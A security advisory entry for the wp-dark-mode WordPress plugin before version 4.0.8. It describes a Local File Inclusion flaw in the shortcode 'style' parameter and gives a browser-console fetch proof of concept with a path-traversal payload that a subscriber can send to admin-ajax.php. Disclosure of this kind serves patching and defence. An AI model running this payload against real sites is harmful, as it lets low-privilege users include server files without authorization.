The plugin does not properly sanitize the style parameter in shortcodes before using it to load a PHP template. This leads to Local File Inclusion on servers where non-existent directories may be traversed, or when chained with another vulnerability allowing arbitrary directory creation.
As a subscriber, run the following JS code from the browser console and see that it includes the index.php
of the root of the blog: fetch("/wp-admin/admin-ajax.php", { "headers": { "content-type": "application/x-www-form-urlencoded", }, "method": "POST", "body": "action=parse-media-shortcode&shortcode;=[wp-dark-mode style='1/../../../../../index']", "credentials": "include" }).then(response => response.text()) .then(data => console.log(data));
Note: By default this will only work on servers where the directory to traverse does not need to exist (for example: Windows-based servers). For other servers, this will require the /wp-content-plugins/wp-dark-mode/templates/btn-1/
directory to exist (for example: by chaining another vulnerability to create the directory).
CPE | Name | Operator | Version |
---|---|---|---|
wp-dark-mode | lt | 4.0.8 |